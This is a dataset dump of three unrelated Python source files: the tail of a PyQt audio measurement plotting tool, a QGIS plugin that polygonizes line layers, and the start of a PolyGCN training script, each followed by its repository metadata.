self.pushButtonClearMeasurements.clicked.connect(self.on_PushButtonClicked_ClearMeasurements)\n        self.spinBoxTarget.valueChanged.connect(self.on_spinBoxValueChanged_Target)\n\n        self.on_comboBoxCurrentIndexChanged_Type(self.comboBoxType.currentIndex())\n\n        self.versionLabel = QLabel(f\"Version: {self.VERSION:s}\")\n        self.relDateLabel = QLabel(f\"Release Date: {self.DATE:s}\")\n        self.infoLabel = QLabel(f\"\")\n        self.infoLabel.setVisible(False)\n        self.progressBarDraw2 = QProgressBar()\n        self.progressBarDraw2.setValue(0)\n        self.progressBarDraw2.setMaximum(100)\n        self.progressBarDraw2.setMinimum(0)\n        self.progressBarDraw2.setVisible(False)\n        self.progressBarDraw2.setMaximumWidth(100)\n        self.progressBarDraw2.setAlignment(QtCore.Qt.AlignBottom|QtCore.Qt.AlignHCenter)\n        self.statusbar.addWidget(self.progressBarDraw2)\n        self.statusbar.addWidget(self.infoLabel)\n        self.statusbar.addPermanentWidget(self.versionLabel)\n        self.statusbar.addPermanentWidget(self.relDateLabel)\n\n        #self.progressBarTh = MyThread()\n        self.threadPool = QThreadPool()\n\n    def on_toolButtonClicked_OpenFile(self, n):\n        options = QFileDialog.Options()\n        options |= QFileDialog.DontUseNativeDialog\n        fileName, _ = QFileDialog.getOpenFileName(self, \"Choose recording data\", \"\",\n                                                  \"wav Files (*.wav);;All Files (*)\", options=options)\n        if n == self.BASE:\n            self.lineEditBase.setText(fileName)\n        elif n == self.TARGET:\n            self.lineEditTarget.setText(fileName)\n            if self.comboBoxType.currentIndex() != 2:\n                self.lineEditTargetLabel.setText(f'{PurePath(fileName).stem:s} CH{self.spinBoxTarget.value():d}')\n            else:\n                self.lineEditTargetLabel.setText(f'{PurePath(fileName).stem:s}')\n\n    def on_pushButtonClicked_AddTarget(self):\n        file = self.lineEditTarget.text()\n        if len(file) == 0:\n            QMessageBox.warning(self, 'Warning', 'Please specify a target wave file.', QMessageBox.Ok)\n            return\n        label = self.lineEditTargetLabel.text()\n        ch = self.spinBoxTarget.value()\n        boost = self.doubleSpinBoxBoost.value()\n        self.listWidgetTargetList.addItem(f'{file:s},{label:s},{ch:d},{boost:f}')\n\n    def on_pushButtonClicked_AddMeasurement(self):\n        base_file = self.lineEditBase.text()\n        if self.comboBoxType.currentIndex() == 0:\n            if len(base_file) == 0:\n                QMessageBox.warning(self, 'Warning', 'Please specify a base wave file.', QMessageBox.Ok)\n                return\n            elif self.listWidgetTargetList.count() == 0:\n                QMessageBox.warning(self, 'Warning', 'Please specify wave targets.', QMessageBox.Ok)\n                return\n\n        child_type = QTreeWidgetItem([self.comboBoxType.currentText()])\n\n        if self.comboBoxType.currentIndex() == 0:\n            child_base = QTreeWidgetItem(['base'])\n            child_base_content = QTreeWidgetItem([f'{base_file:s},{self.spinBoxBase.value():d}'])\n            child_base.addChild(child_base_content)\n            child_type.addChild(child_base)\n\n        child_target = QTreeWidgetItem(['target'])\n        for it in range(self.listWidgetTargetList.count()):\n            child_target_content = QTreeWidgetItem([self.listWidgetTargetList.item(it).text()])\n            child_target.addChild(child_target_content)\n        child_type.addChild(child_target)\n\n        self.treeWidgetRoot.addChild(child_type)\n        self.treeWidgetRoot.setExpanded(True)\n\n    def on_pushButtonClicked_Draw(self):\n        measurements = []\n        root = self.treeWidgetRoot\n        for i in range(root.childCount()):\n            child = root.child(i)\n            child_text = child.text(0)\n\n            if child_text == 'Normalization':\n                normalization = {'type': 'ANC_NORM'}\n                for j in range(child.childCount()):\n                    grand_child = child.child(j)\n                    grand_child_text = grand_child.text(0)\n                    if grand_child_text == 'base':\n                        grand_grand_child_text = grand_child.child(0).text(0)\n                        token = grand_grand_child_text.strip().split(',')\n                        base = {'file': token[0], 'ch': int(token[1])}\n                        normalization['base'] = base\n                    elif grand_child_text == 'target':\n                        anc = []\n                        for k in range(grand_child.childCount()):\n                            grand_grand_child_text = grand_child.child(k).text(0)\n                            token = grand_grand_child_text.strip().split(',')\n                            target = {'file': token[0], 'legend': token[1], 'ch': int(token[2]), 'boost': float(token[3])}\n                            anc.append(target)\n\n                        normalization['anc'] = anc\n\n                measurements.append(normalization)\n\n            elif child_text == 'Frequency Response':\n                freq_resp = {'type': 'FREQ_RESP'}\n                grand_child = child.child(0)\n                grand_child_text = grand_child.text(0)\n                if grand_child_text == 'target':\n                    recording = []\n                    for k in range(grand_child.childCount()):\n                        grand_grand_child_text = grand_child.child(k).text(0)\n                        token = grand_grand_child_text.strip().split(',')\n                        target = {'file': token[0], 'legend': token[1], 'ch': int(token[2]), 'boost': float(token[3])}\n                        recording.append(target)\n\n                    freq_resp['recording'] = recording\n\n                measurements.append(freq_resp)\n\n            elif child_text == 'NLMS':\n                nlms = {'type': 'NLMS'}\n                grand_child = child.child(0)\n                grand_child_text = grand_child.text(0)\n                if grand_child_text == 'target':\n                    recording = []\n                    for k in range(grand_child.childCount()):\n                        grand_grand_child_text = grand_child.child(k).text(0)\n                        token = grand_grand_child_text.strip().split(',')\n                        target = {'file': token[0], 'legend': token[1]}\n                        recording.append(target)\n\n                    nlms['recording'] = recording\n\n                measurements.append(nlms)\n\n            elif child_text == 'NLMS Residual':\n                nlms_res = {'type': 'NLMS_RES'}\n                grand_child = child.child(0)\n                grand_child_text = grand_child.text(0)\n                if grand_child_text == 'target':\n                    recording = []\n                    for k in range(grand_child.childCount()):\n                        grand_grand_child_text = grand_child.child(k).text(0)\n                        token = grand_grand_child_text.strip().split(',')\n                        target = {'file': token[0], 'legend': token[1]}\n                        recording.append(target)\n\n                    nlms_res['recording'] = recording\n\n                measurements.append(nlms_res)\n\n        if len(measurements) == 0:\n            QMessageBox.warning(self, 'Warning', 'No measurement data to be showed.', QMessageBox.Ok)\n            return\n\n        figure_properties = {\n            'title': self.lineEditFigTitle.text(),\n            'x_label': self.lineEditXCaption.text(),\n            'y_label': self.lineEditYCaption.text(),\n            'x_axis': [self.spinBoxXLimitMin.value(), self.spinBoxXLimitMax.value()],\n            'y_axis': [self.spinBoxYLimitMin.value(), self.spinBoxYLimitMax.value()],\n            'y_ticks': [self.spinBoxYTicksMin.value(), self.spinBoxYTicksMax.value(), self.spinBoxYTicksStep.value()],\n            'bit_depth': self.comboBoxBitDepth.currentText(),\n            'legend_size': self.spinBoxLabelFontSize.value()\n        }\n\n        config = {'figure_properties': figure_properties, 'measurements': measurements}\n        print(config)\n\n        with open('temp.json', 'w') as of:\n            json.dump(config, of, indent=4)\n\n        worker = DrawWorker(draw, config)\n        worker.setAutoDelete(True)\n        worker.signals.finished.connect(self.drawPlot)\n        worker.signals.status.connect(self.setProgressBarText)\n        worker.signals.progress.connect(self.setProgressVal)\n        self.threadPool.start(worker)\n        self.startProgressBar()\n\n    def on_pushButtonClicked_ClearTargets(self):\n        self.listWidgetTargetList.clear()\n\n    def on_PushButtonClicked_ClearMeasurements(self):\n        self.treeWidgetMeasurments.clear()\n        self.treeWidgetRoot = QTreeWidgetItem(['measurements'])\n        self.treeWidgetMeasurments.setColumnCount(1)\n        self.treeWidgetMeasurments.addTopLevelItem(self.treeWidgetRoot)\n\n    def on_comboBoxCurrentIndexChanged_Type(self, index):\n        if index == 0:\n            self.frameBase.setEnabled(True)\n            self.spinBoxTarget.setEnabled(True)\n            self.doubleSpinBoxBoost.setEnabled(False)\n        elif index == 1:\n            self.frameBase.setEnabled(False)\n            self.spinBoxTarget.setEnabled(True)\n            self.doubleSpinBoxBoost.setEnabled(True)\n        elif index == 2 or index == 3:\n            self.frameBase.setEnabled(False)\n            self.spinBoxTarget.setEnabled(False)\n            self.doubleSpinBoxBoost.setEnabled(False)\n\n        self.listWidgetTargetList.clear()\n\n    def on_listWidgetCustomContextMenuRequested_TargetList(self, pos):\n        it = self.listWidgetTargetList.itemAt(pos)\n        if it is None: return\n        row = self.listWidgetTargetList.row(it)\n        menu = QtWidgets.QMenu()\n        delete_action = menu.addAction('Delete')\n        action = menu.exec_(self.listWidgetTargetList.viewport().mapToGlobal(pos))\n        if action == delete_action:\n            item = self.listWidgetTargetList.takeItem(row)\n            del item\n\n    def on_treeWidgetCustomContextMenuRequested_Measurements(self, pos):\n        it = self.treeWidgetMeasurments.itemAt(pos)\n        if it is None: return\n        elif it.text(0) == \"measurements\": return\n\n        menu = QtWidgets.QMenu()\n        delete_action = menu.addAction('Delete')\n        action = menu.exec_(self.treeWidgetMeasurments.viewport().mapToGlobal(pos))\n        if action == delete_action:\n            parent = it.parent()\n            if parent.text(0) == 'base' or parent.text(0) == 'target':\n                grand_parent = parent.parent()\n                if grand_parent.text(0) == 'Normalization' or grand_parent.text(0) == 'Frequency Response' \\\n                        or grand_parent.text(0) == 'NLMS' or grand_parent.text(0) == 'NLMS Residual':\n                    self.treeWidgetRoot.removeChild(grand_parent)\n            elif parent.text(0) == 'Normalization' or parent.text(0) == 'Frequency Response' \\\n                    or parent.text(0) == 'NLMS' or parent.text(0) == 'NLMS Residual':\n                self.treeWidgetRoot.removeChild(parent)\n            elif it.text(0) == 'Normalization' or it.text(0) == 'Frequency Response' \\\n                    or it.text(0) == 'NLMS' or it.text(0) == 'NLMS Residual':\n                self.treeWidgetRoot.removeChild(it)\n\n    def on_spinBoxValueChanged_Target(self, int):\n        self.lineEditTargetLabel.setText(f'{PurePath(self.lineEditTarget.text()).stem:s} CH{self.spinBoxTarget.value():d}')\n\n    def startProgressBar(self):\n        #self.progressBarTh.change_value.connect(self.setProgressVal)\n        #self.progressBarTh.start()\n        self.infoLabel.setVisible(True)\n        self.progressBarDraw2.setVisible(True)\n        self.progressBarDraw2.setFormat('%p%')\n        self.pushButtonDraw.setEnabled(False)\n\n    def stopProgressBar(self):\n        self.setProgressVal(100)\n        self.infoLabel.setVisible(False)\n        self.progressBarDraw2.setVisible(False)\n        #self.progressBarDraw2.setFormat('Done...')\n        self.pushButtonDraw.setEnabled(True)\n        #self.progressBarTh.terminate()\n\n    def setProgressVal(self, val):\n        self.progressBarDraw2.setValue(val)\n\n    def setProgressBarText(self, text):\n        self.infoLabel.setText(text)\n\n    def drawPlot(self, data, figure_props):\n        self.stopProgressBar()\n\n        subplot_max = 0\n        if len(data[0]):\n            subplot_max += 1\n        if len(data[2]):\n            subplot_max += 2\n        if len(data[5]):\n            subplot_max += int(len(data[5]) / 2)\n\n        subplot_used = 1\n        print(f\"subplot_max:{subplot_max:d}, subplot_used:{subplot_used:d}\")\n\n        axis = figure_props['x_axis']\n        axis.extend(figure_props['y_axis'])\n        # Draw\n        lines = []\n        if len(data[0]):\n            ax = plt.subplot(subplot_max, 1, subplot_used)\n            for c in data[0]:\n                total_samples = c['data'].shape[0]\n                limit = int((total_samples / 2) - 1)\n                freqs = fftfreq(c['data'].shape[0], 1 / c['fs'])\n                line, = ax.semilogx(freqs[:limit], c['data'][:limit], linewidth=1)\n                lines.append(line)\n            ax.legend(lines, data[1], fontsize=figure_props['legend_size'])\n            ax.set_title(figure_props['title'], size=10)\n            ax.set_xlabel(figure_props['x_label'], fontsize=8)\n            ax.set_ylabel(figure_props['y_label'], fontsize=8)\n            ax.axis(axis)\n            ax.set_yticks(range(*figure_props['y_ticks']))\n            # ax.set_xticks(fontsize=8)\n            ax.grid(True, which='both')\n            subplot_used += 1\n\n        # Draw NLMS\n        if len(data[2]):\n            ax = plt.subplot(subplot_max, 1, subplot_used)\n            ss = range(0, 50)\n            lines = []\n            for impulse in data[2]:\n                line, = ax.plot(ss, impulse[0:50], linewidth=1)\n                lines.append(line)\n            ax.legend(lines, data[4], fontsize=figure_props['legend_size'])\n            ax.set_title('Impulse Response (NLMS)', size=10)\n            ax.set_yticks(np.arange(-3, 3, step=0.5))\n            ax.axis([0, 50, -3, 3])\n            ax.grid(True, which='both')\n            subplot_used += 1\n\n        if len(data[3]):\n            ax = plt.subplot(subplot_max, 1, subplot_used)\n            s = range(0, 24000)\n            lines = ax.semilogx(s, np.transpose(data[3]), linewidth=1)\n            ax.legend(lines, data[4], fontsize=figure_props['legend_size'])\n            ax.set_title(f\"{figure_props['title']:s} (NLMS)\", size=10)\n            ax.set_xlabel(figure_props['x_label'], fontsize=8)\n            ax.set_ylabel(figure_props['y_label'], fontsize=8)\n            ax.set_yticks(range(*figure_props['y_ticks']))\n            ax.axis(axis)\n            ax.grid(True, which='both')\n            subplot_used += 1\n\n        if len(data[5]):\n            for i in range(0, len(data[5]), 2):\n                ax = plt.subplot(subplot_max, 1, subplot_used)\n                s = range(0, 24000)\n                lines = ax.semilogx(s, np.transpose(data[5][i]), np.transpose(data[5][i + 1]), linewidth=1)\n                ax.legend(lines, [data[6][i], data[6][i + 1]], fontsize=figure_props['legend_size'])\n                ax.set_title(f\"{figure_props['title']:s} (5e Residual Measurement)\", size=10)\n                ax.set_xlabel(figure_props['x_label'], fontsize=8)\n                ax.set_ylabel(figure_props['y_label'], fontsize=8)\n                ax.set_yticks(range(*figure_props['y_ticks']))\n                ax.axis(axis)\n                ax.grid(True, which='both')\n                subplot_used += 1\n\n        plt.tight_layout()\n        plt.show()\n\nif __name__ == \"__main__\":\n    app = QApplication(sys.argv)\n    myWin = MyMainWindow()\n    myWin.show()\n    sys.exit(app.exec_())","repo_name":"PingChinHuang/measurement_visualizer","sub_path":"measurement_visualizer.py","file_name":"measurement_visualizer.py","file_ext":"py","file_size_in_byte":18587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"71816669919","text":"from PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nfrom ui_polygonizer import Ui_Form\nfrom qgis.core import *\nfrom qgis.gui import *\n\nfrom os.path import splitext\nfrom itertools import groupby\nfrom os.path import basename\nfrom os.path import dirname\n\nimport shapely\nfrom shapely.ops import polygonize\nfrom shapely.geometry import *\nimport sys\n\nfrom time import time\nfrom frmAbout import Ui_frmAbout\n\n# create the dialog for zoom to point\nclass PolygonizerDialog(QDialog):\n  def __init__(self, iface):\n    QDialog.__init__(self)\n    # Set up the user interface from Designer.\n    self.ui = Ui_Form()\n    self.ui.setupUi(self)\n    self.iface = iface\n\n    QObject.connect( self.ui.btnBrowse, SIGNAL( \"clicked()\" ), self.outFile )\n    QObject.connect( self.ui.btnCancel, SIGNAL( \"clicked()\" ), self.closeForm )\n    QObject.connect( self.ui.btnOK, SIGNAL( \"clicked()\" ), self.Polygonize )\n    QObject.connect( self.ui.bAbout, SIGNAL( \"clicked()\" ), self.ShowAbout )\n\n    layerList = getLayersNames()\n    self.ui.cmbLayer.addItems(layerList)\n    #QInputDialog.getText( self.iface.mainWindow(), \"m\", \"e\",   QLineEdit.Normal, str( layerList ) )\n\n  def ShowAbout(self):\n    #QMessageBox.question(self, 'Polygonizer', self.version , QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n    dlg = PolygonizerAboutDialog(self.iface)\n    # show the dialog\n    dlg.setModal(True)\n    dlg.show()\n    result = dlg.exec_()\n\n  def outFile(self):\n    \"\"\"Open a file save dialog and set the output file path.\"\"\"\n    outFilePath = saveDialog(self)\n    if not outFilePath:\n      return\n    self.setOutFilePath(QString(outFilePath))\n\n  def setOutFilePath(self, outFilePath):\n    \"\"\"Set the output file path.\"\"\"\n    self.ui.eOutput.setText(outFilePath)\n\n  def closeForm(self):\n    self.close()\n\n  def Polygonize(self):\n    if self.ui.cmbLayer.currentText() == \"\":\n      QMessageBox.critical(self, \"Polygonizer\", \"Select line layer first!\" )\n    elif getMapLayerByName(self.ui.cmbLayer.currentText()).dataProvider().featureCount() == 0:\n      QMessageBox.critical(self, \"Polygonizer\", \"Selected layer has no lines!\" )\n    elif self.ui.eOutput.text() == \"\":\n      QMessageBox.critical(self, \"Polygonizer\", \"Choose output file!\" )\n    else:\n      sys.setcheckinterval(10000)\n      setValue = self.ui.pbProgress.setValue\n      SetWidgetsEnabled(self.ui, False)\n\n      setValue(0)\n\n      self.t1 = time()\n\n\n      if self.ui.rbNew.isChecked():\n        inFeat = QgsFeature()\n        outFeat = QgsFeature()\n        layer = QgsVectorLayer()\n\n        layer = getMapLayerByName(self.ui.cmbLayer.currentText())\n\n        progress = 0.\n\n        provider = layer.dataProvider()\n        allAttrs = provider.attributeIndexes()\n        provider.select(allAttrs)\n        fields = provider.fields()\n\n        provider.select()\n\n        step = 30. / layer.featureCount()\n        allLinesList = []\n        allLinesListExtend = allLinesList.extend\n        allLinesListAppend = allLinesList.append\n\n        while provider.nextFeature(inFeat):\n          geom = inFeat.geometry()\n\n          if geom.isMultipart():\n            allLinesListExtend(geom.asMultiPolyline() )\n          else:\n            allLinesListAppend(geom.asPolyline())\n\n          progress += step\n          setValue(progress)\n\n\n        allLines = MultiLineString(allLinesList)\n        allLines = allLines.union(Point(0,0))\n\n        polygons = list(polygonize([allLines]))\n\n\n        self.polyCount = len(polygons)\n        if self.polyCount == 0:\n          QMessageBox.critical(self, \"Polygonizer\", \"Sorry, I don't see any polygon!\" )\n          SetWidgetsEnabled(self.ui, True)\n          setValue(0)\n          return\n        else:\n          step = 65. / self.polyCount\n\n          #addFeature = writer.addFeature\n          setGeometry = outFeat.setGeometry #ok\n          setAttributeMap = outFeat.setAttributeMap #ok\n\n          if self.ui.cbGeometry.isChecked():\n            fields[len(fields)] = QgsField(\"area\",QVariant.Double,\"double\",16,2)\n            fields[len(fields)] = QgsField(\"perimeter\",QVariant.Double,\"double\",16,2)\n            nrArea = len(fields)-2\n            nrPerimeter = len(fields)-1\n\n            writer = QgsVectorFileWriter(self.ui.eOutput.text(),provider.encoding(),fields,QGis.WKBPolygon,layer.srs() )\n\n            for polygon in polygons:\n              #QInputDialog.getText( self, \"m\", \"e\",   QLineEdit.Normal,  str(fields) )\n              setGeometry( QgsGeometry.fromWkt( polygon.wkt ) )\n              setAttributeMap({ nrArea:polygon.area, nrPerimeter:polygon.length })\n              writer.addFeature( outFeat )\n\n              progress += step\n              setValue(progress)\n\n            setValue(100)\n            del writer\n\n          else:\n            writer = QgsVectorFileWriter(self.ui.eOutput.text(),provider.encoding(),fields,QGis.WKBPolygon,layer.srs() )\n            for polygon in polygons:\n              setGeometry( QgsGeometry.fromWkt( polygon.wkt ) )\n              writer.addFeature( outFeat )\n\n              progress += step\n              setValue(progress)\n\n            setValue(100)\n            del writer\n\n\n      else:\n        inFeat = QgsFeature()\n        inFeatB = QgsFeature()\n        outFeat = QgsFeature()\n        layer = QgsVectorLayer()\n        layer = self.getMapLayerByName(self.ui.cmbLayer.currentText())\n        progress = 0.\n\n        provider = layer.dataProvider()\n\n        allAttrs = provider.attributeIndexes()\n        provider.select(allAttrs)\n        fields = provider.fields()\n\n        new_path = self.ui.eOutput.text()\n        if new_path.contains(\"\\\\\"):\n          out_name = new_path.right((new_path.length() - new_path.lastIndexOf(\"\\\\\")) - 1)\n        else:\n          out_name = new_path.right((new_path.length() - new_path.lastIndexOf(\"/\")) - 1)\n        if out_name.endsWith(\".shp\"):\n          out_name = out_name.left(out_name.length() - 4)\n\n        step = 20. / float(provider.featureCount())\n\n        #to single lines and without duplicate lines\n        provider.select()\n        lines = []\n        while provider.nextFeature( inFeat ):\n\n          inGeom = inFeat.geometry()\n          if inFeat.geometry().isMultipart():\n            for line in inFeat.geometry().asMultiPolyline():\n              self.splitline(line,lines)\n          else:\n            self.splitline(inFeat.geometry().asPolyline(),lines)\n          progress += step\n          setValue(progress)\n\n        #QMessageBox.critical(self.iface.mainWindow(), \"d\", str(len(lines)))\n\n        single_lines = QgsVectorLayer(\"LineString\",\"single\",\"memory\")\n        single_provider = single_lines.dataProvider()\n\n        step = 20. / float(len(lines))\n        for line in lines:\n          outFeat.setGeometry(QgsGeometry.fromPolyline(line))\n          single_provider.addFeatures([outFeat])\n          single_lines.updateExtents()\n          progress += step\n          setValue(progress)\n\n\n        #intersections\n        index = createIndex(single_provider)\n        lines = []\n        single_provider.select()\n        step = 50. / float(single_provider.featureCount())\n        while single_provider.nextFeature(inFeat):\n          pointList = []\n          inGeom = inFeat.geometry()\n          lineList = index.intersects( inGeom.boundingBox())\n          if len(lineList) > 0:\n            for i in lineList:\n              single_provider.featureAtId( int(i), inFeatB, True, allAttrs)\n              tmpGeom = QgsGeometry( inFeatB.geometry() )\n              if inGeom.intersects(tmpGeom):\n                pointGeom = inGeom.intersection(tmpGeom)\n                if pointGeom.type() == QGis.Point:\n                  if pointGeom.asPoint() not in pointList:\n                    pointList.append(pointGeom.asPoint())\n            linePoints = []\n            linePoints = inGeom.asPolyline()\n            s = [i for i in pointList+linePoints if i not in linePoints]\n            if len(s)>1:\n              l = sortPoints(linePoints[0],s)\n            else: l = s\n\n            tempLine = []\n            tempLine.append(linePoints[0])\n            tempLine.extend(l)\n            tempLine.append(linePoints[1])\n\n            countSubLines = len(tempLine)-1\n            for p in range(countSubLines):\n              lines.append([tempLine[p],tempLine[p+1]])\n          progress += step\n          setValue(progress)\n\n        del single_lines\n        del single_provider\n\n        #create polygons\n\n        polygons = list(polygonize( lines ))\n\n        self.polyCount = 0\n        self.polyCount = len(polygons)\n        #QMessageBox.critical(self.iface.mainWindow(), \"d\", str(fields))\n\n\n\n        setValue(95)\n\n        setGeometry = outFeat.setGeometry #ok\n        setAttributeMap = outFeat.setAttributeMap #ok\n\n        if self.ui.cbGeometry.isChecked():\n          fields[len(fields)] = QgsField(\"area\",QVariant.Double,\"double\",16,2)\n          fields[len(fields)] = QgsField(\"perimeter\",QVariant.Double,\"double\",16,2)\n          nrArea = len(fields)-2\n          nrPerimeter = len(fields)-1\n\n          writer = QgsVectorFileWriter(new_path,provider.encoding(),fields,QGis.WKBPolygon,layer.srs() )\n\n          for polygon in polygons:\n            #QInputDialog.getText( self.parent, \"m\", \"e\",   QLineEdit.Normal,  str(polygon))\n            setGeometry( QgsGeometry.fromWkt( polygon.wkt ) )\n            setAttributeMap({ nrArea:polygon.area,\n                                      nrPerimeter:polygon.length })\n            writer.addFeature( outFeat )\n\n            progress += step\n            setValue(progress)\n\n          del writer\n          setValue(100)\n        else:\n          writer = QgsVectorFileWriter(new_path,provider.encoding(),fields,QGis.WKBPolygon,layer.srs() )\n\n          for polygon in polygons:\n            #QInputDialog.getText( self.parent, \"m\", \"e\",   QLineEdit.Normal,  str(polygon))\n            setGeometry( QgsGeometry.fromWkt( polygon.wkt ) )\n            writer.addFeature( outFeat )\n\n            progress += step\n            setValue(progress)\n\n          del writer\n          setValue(100)\n\n\n      # koniec\n      self.t2 = time()\n\n      #self.ui.pbProgress.setValue(0)\n      SetWidgetsEnabled(self.ui,True)\n\n\n      msg = QMessageBox.question(self, 'Polygonizer', 'Polygonization finished in %03.2f seconds. \\n %d polygons were crested. \\n Load created layer?' % ((self.t2 - self.t1), self.polyCount), QMessageBox.Yes | QMessageBox.No, QMessageBox.Yes)\n      if msg == QMessageBox.Yes:\n        new_path = self.ui.eOutput.text()\n        if new_path.contains(\"\\\\\"):\n          out_name = new_path.right((new_path.length() - new_path.lastIndexOf(\"\\\\\")) - 1)\n        else:\n          out_name = new_path.right((new_path.length() - new_path.lastIndexOf(\"/\")) - 1)\n        if out_name.endsWith(\".shp\"):\n          out_name = out_name.left(out_name.length() - 4)\n\n        self.iface.addVectorLayer(self.ui.eOutput.text(), out_name, \"ogr\")\n\n      self.close()\n\n\n  def getMapLayerByName(self, myName ):\n    layermap = QgsMapLayerRegistry.instance().mapLayers()\n    for name, layer in layermap.iteritems():\n      if layer.name() == myName:\n        if layer.isValid():\n          return layer\n        else:\n          return None\n\n  def splitline(self,line,lines):\n    for i in range(1,len(line)):\n      temp = line[i-1:i+1]\n      revTemp = [temp[-1], temp[0]]\n      if temp not in lines and revTemp not in lines: lines.append( temp )\n\n\n\ndef SetWidgetsEnabled(ui, value):\n  ui.btnCancel.setEnabled(value)\n  ui.btnOK.setEnabled(value)\n  ui.cmbLayer.setEnabled(value)\n  ui.cbGeometry.setEnabled(value)\n  ui.eOutput.setEnabled(value)\n  ui.btnBrowse.setEnabled(value)\n  ui.rbNew.setEnabled(value)\n  ui.rbOld.setEnabled(value)\n\ndef getMapLayerByName(myName ):\n  layermap = QgsMapLayerRegistry.instance().mapLayers()\n  for name, layer in layermap.iteritems():\n    if layer.name() == myName:\n      if layer.isValid():\n        return layer\n      else:\n        return None\n\n\ndef getLayersNames():\n  layermap = QgsMapLayerRegistry.instance().mapLayers()\n  layerlist = []\n  for name, layer in layermap.iteritems():\n    if layer.type() == QgsMapLayer.VectorLayer:\n      if layer.geometryType() == QGis.Line:\n        layerlist.append( unicode( layer.name() ) )\n\n  return layerlist\n\ndef saveDialog(parent):\n  \"\"\"Shows a save file dialog and return the selected file path.\"\"\"\n  settings = QSettings()\n  key = '/UI/lastShapefileDir'\n  outDir = settings.value(key).toString()\n  filter = 'Shapefiles (*.shp)'\n  outFilePath = QFileDialog.getSaveFileName(parent, parent.tr('Save output shapefile'), outDir, filter)\n  outFilePath = unicode(outFilePath)\n  if outFilePath:\n    root, ext = splitext(outFilePath)\n    if ext.upper() != '.SHP':\n      outFilePath = '%s.shp' % outFilePath\n    outDir = dirname(outFilePath)\n    settings.setValue(key, outDir)\n  return outFilePath\n\ndef createIndex( provider ):\n    feat = QgsFeature()\n    index = QgsSpatialIndex()\n    provider.rewind()\n    provider.select()\n    while provider.nextFeature( feat ):\n        index.insertFeature( feat )\n    return index\n\n#sorts point along line\ndef sortPoints(firstPoint, pointList ):\n  newList = []\n  for point in pointList:\n    if point == None: continue\n    dist = sqrPointsDist(firstPoint, point)\n    newList.append((dist,point))\n\n  sortedList = sorted(newList, key=lambda point: point[0])\n\n  sortedPoints = []\n\n  if len(sortedList) == 0:\n    sortedPoints = []\n  elif len(sortedPoints) == 1:\n    sortedPoints = newList\n  else:\n    for item in sortedList:\n      sortedPoints.append(item[1])\n\n  return sortedPoints\n\ndef sqrPointsDist(point1, point2):\n  x1 = point1[0]\n  y1 = point1[1]\n\n  x2 = point2[0]\n  y2 = point2[1]\n\n  sqrDist = (x1-x2)**2 + (y1-y2)**2\n  return sqrDist\n\n\nclass PolygonizerAboutDialog(QDialog):\n  def __init__(self, iface):\n    QDialog.__init__(self)\n    # Set up the user interface from Designer.\n    self.ui = Ui_frmAbout()\n    self.ui.setupUi(self)\n    self.iface = iface\n","repo_name":"adamcandy/QGIS-Meshing","sub_path":"extras/old_release_versions/Polygonizer/PolygonizerDialog.py","file_name":"PolygonizerDialog.py","file_ext":"py","file_size_in_byte":13762,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"51"}
+{"seq_id":"10224115607","text":"\"\"\"Poly GCN\n   Training Script\n\"\"\"\n\nimport os\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n# os.chdir(\"/home/kang/PolyGCN/\")\n\n\nimport argparse\nfrom datetime import datetime\nfrom collections import defaultdict\nfrom tqdm import tqdm\nimport shutil\nimport numpy as np\nimport sys\n# sys.path.append(\"/home/kang/PolyGCN/\")\n# sys.path.append(os.path.join(os.path.dirname(__file__), '..'))\nfrom config import Config\n\nfrom data import gcn_provider\nfrom torch.utils.data import DataLoader\nfrom orig_models.GNN import poly_gnn\nfrom orig_models import losses\nfrom orig_models import metrics\nfrom orig_models import utils\nfrom orig_models.ActiveSpline import ActiveSplineTorch, ActiveBoundaryTorch\n\nimport torch\nimport torch.optim as optim\nimport torch.nn as nn\nfrom tensorboardX import SummaryWriter\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef get_args():\n    parser = argparse.ArgumentParser(description='Train a model')\n    parser.add_argument('--data_dir', type=str, help='the dir to load the data')\n    parser.add_argument('--log_dir', type=str, help='the dir to save logs and models')\n    parser.add_argument('--model_dir', type=str, help='the initial weight to load')\n    parser.add_argument('--resume', type=str, help='the checkpoint file to resume from', default=None)\n    args = parser.parse_args()\n\n    return args\n\n\ndef log(text, array=None):\n    \"\"\"Prints a text message. And, optionally, if a Numpy array is provided it\n    prints it's shape, min, and max values.\n    \"\"\"\n    if array is not None:\n        text = text.ljust(25)\n        text += (\"shape: {:20}  min: {:10.5f}  max: {:10.5f}\".format(\n            str(array.shape),\n            array.min() if array.size else \"\",\n            array.max() if array.size else \"\"))\n    print(text)\n\n\ndef get_data_loaders(DataProvider, data_dir, config):\n    print('Loading Data')\n    dataset_train = DataProvider(data_dir=data_dir, split='train', mode='train', config=config)\n    dataset_val = DataProvider(data_dir=data_dir, split='val', mode='train', config=config)\n\n    train_loader = DataLoader(dataset_train, batch_size=16,\n                              shuffle=True, num_workers=8,\n                              collate_fn=gcn_provider.collate_fn)\n\n    val_loader = DataLoader(dataset_val, batch_size=16,\n                            shuffle=True, num_workers=4,\n                            collate_fn=gcn_provider.collate_fn)\n\n    return train_loader, val_loader\n\n\nclass BuildingConfig(Config.General_Config):\n    # Give the configuration a recognizable name\n    NAME = \"building\"\n\n    # We use one GPU with 8GB memory, which can fit one image.\n    # Adjust down if you use a smaller GPU.\n    IMAGES_PER_GPU = 1\n\n    # Uncomment to train on 8 GPUs (default is 1)\n    GPU_COUNT = 1\n\n    # Number of classes (including background)\n    NUM_CLASSES = 1 + 1\n\n    # steps per epoch\n    STEPS_PER_EPOCH = 3000\n    VALIDATION_STEPS = 120\n\n    BATCH_SIZE = 16\n\n    PNUM = 16\n    CP_NUM = 16\n\n    NUM_WORKERS = 4\n    BATCH_SIZE = 16\n\n    # DEBUG = True\n\n\nclass Trainer(object):\n    def __init__(self, args, config):\n        self.config = config\n        self.data_dir = args.data_dir\n        self.model_dir = args.model_dir\n        self.log_dir = args.log_dir\n        self.global_step = 0\n        self.epoch = 0\n        self.max_epochs = 30\n        self.val_freq = 500\n        self.print_freq = 50\n        self.save_freq = 1000\n        self.max_train_step = config.STEPS_PER_EPOCH\n        self.max_val_step = config.VALIDATION_STEPS\n        self.config = config\n        self.train_loader, 